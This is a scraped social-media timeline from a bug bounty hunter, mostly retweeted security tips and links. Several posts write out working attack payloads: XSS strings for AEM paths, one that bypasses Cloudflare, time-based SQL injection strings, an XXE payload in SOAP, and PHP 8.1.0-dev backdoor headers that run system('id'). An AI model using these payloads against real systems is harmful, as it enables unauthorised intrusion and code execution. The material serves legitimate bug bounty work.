This is Arafat, a security professional. I am not sure why I am here, still working on it to find out. 😊 || Synack Red Team Member.
Bogra Bangladesh
Joined August 2015
- Tweets868
- Following183
- Followers1.5K
- Likes506
Pinned Tweet
Another achievement of the year! Became and “Hero” and 15 for 15 in recognition of 2021. @SynackRedTeam
acropolis.synack.com/inducte…
![Yeasir Arafat [yeasir] - Synack Acropolis](https://pbs.twimg.com/card_img/2119810323729289217/NvLQ8jYZ?format=jpg&name=420x420_2)
3
38
Hello all Online activists and Tech enthusiasts, I would like to encourage you to post positive and share current stories on social media’s(Fb, x,LinkedIn) against Indian news media rumors. You may aware of Indian news media are spreading false news and propaganda.
3
2
244
Yeasir Arafat(nullsaint) retweeted
Digital Forensics, Part 3: Recovering Deleted Files
In forensic investigation, recovering deleted files is a fundamental skill. When files are "deleted," they stay until overwritten and we can recover them.
@three_cube #forensics
hackers-arise.com/post/2016/…
Yeasir Arafat(nullsaint) retweeted
🔐 Bug Bounty Tips: Reported 15+ XSS Issues on a broad-scoped program leveraging AEM! 🚀
If you stumble upon a target app using AEM, make sure to use these XSS payloads for some quick wins! 💰
1️⃣ https://target[.]com/1<img src=x data'a'onerror=alert(domain)>.childrenlist.htm
2️⃣https://target[.]com/crx/de/setPreferences.jsp;%0A.html?language=en&keymap=<svg/onload=confirm(document.domain);>//a"
3️⃣https://target[.]com/etc/designs/xh1x.childrenlist.json//<svg onload=alert(document.domain)>.html
Always try to escalate these issues to an Account Takeover for the chance at a 'High' severity payout. Stay vigilant! 🕵️♂️💡
#EthicalHacking #BugBounty #SecurityTips #Cybersecurity #StaySecure #HackerOne #BugCrowd #BugBountyTips
Yeasir Arafat(nullsaint) retweeted
7 SQLs
4 in php
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/
1 in aspx
orwa';%20waitfor%20delay%20'0:0:6'%20--%20
2 in graphql
orwa') OR 11=(SELECT 11 FROM PG_SLEEP(6))--
credit: @GodfatherOrwa
#bug
Hello @PortSwigger @PortSwiggerRes @albinowax I'm kindly requesting you to give me an answer to this? Why does Burp Suite fire this "p@y<"'p@y" payloads? This creates trouble for me, Please help me out by answering the question.
3
11
5,242
Yeasir Arafat(nullsaint) retweeted
I've just developed my first @Burp_Suite Bambdas specifically to identify OWASP Top-25 Parameters potentially vulnerable to XSS, SSRF, RCE, SQLi, LFI, and Open Redirect. For easy code access, visit GitHub:
github.com/BugBountyzip/Bamb…
#Bambdas #Java
Yeasir Arafat(nullsaint) retweeted
If you find PHP 8.1.0-dev then try RCE & SQLi
User-Agentt: zerodiumsleep(5);
User-Agentt: zerodiumsystem('id');
#bugbounty #bugbountytips #rce #sqli
Yeasir Arafat(nullsaint) retweeted
7 SQLs
4 in php
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/
1 in aspx
orwa';%20waitfor%20delay%20'0:0:6'%20--%20
2 in graphql
orwa') OR 11=(SELECT 11 FROM PG_SLEEP(6))--
#bugbountytips #bugbountytip 💕
Yeasir Arafat(nullsaint) retweeted
XXE inside a SOAP node: <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://0x0:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
Yeasir Arafat(nullsaint) retweeted
Cloudflare XSS protection bypass:
"><Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBYU1MgQG1fa2VsZXBjZQ=="))>
Yeasir Arafat(nullsaint) retweeted
Mobile Pentesting 101 - How to Set Up Your iOS Environment securitycafe.ro/2023/06/12/m…
Yeasir Arafat(nullsaint) retweeted
Well written introduction blog on how to write your first Frida script for Android
labs.cognisys.group/posts/Wr… via @R4JVE3R
#frida #bugbounty #pentest @fridadotre
Yeasir Arafat(nullsaint) retweeted
Solidity Tutorial : All About Assembly
jeancvllr.medium.com/solidit…
Yeasir Arafat(nullsaint) retweeted
A short and great read by @osamaavvan:
medium.com/@osamaavvan/explo…
#WebSecurity #BugBounty #infosec
![Exploiting WebSocket [Application Wide XSS / CSRF]](https://pbs.twimg.com/card_img/2119621830000709632/bRVoiJMj?format=jpg&name=800x419)
Yeasir Arafat(nullsaint) retweeted
The #WEkEO earth observation Jupyter Lab cloud plateform gives access to the full range of Copernicus satellite data.
Use pre-established Jupyter Notebooks or create your own with Python to access and analyse Copernicus data. 🛰️ #earthobservation
Yeasir Arafat(nullsaint) retweeted
📃My first published solo smart contract security report.
It contains 2 High, 6 Medium & 8 Low severity issues.
The client was happy and offered me another solo audit.
github.com/gkrastenov/audits…
4+ years in @SynackRedTeam. 50,000+ reputation points placing #1 Bangladeshi. The journey was so rough but life-changing.
Thanks to Almighty Allah.
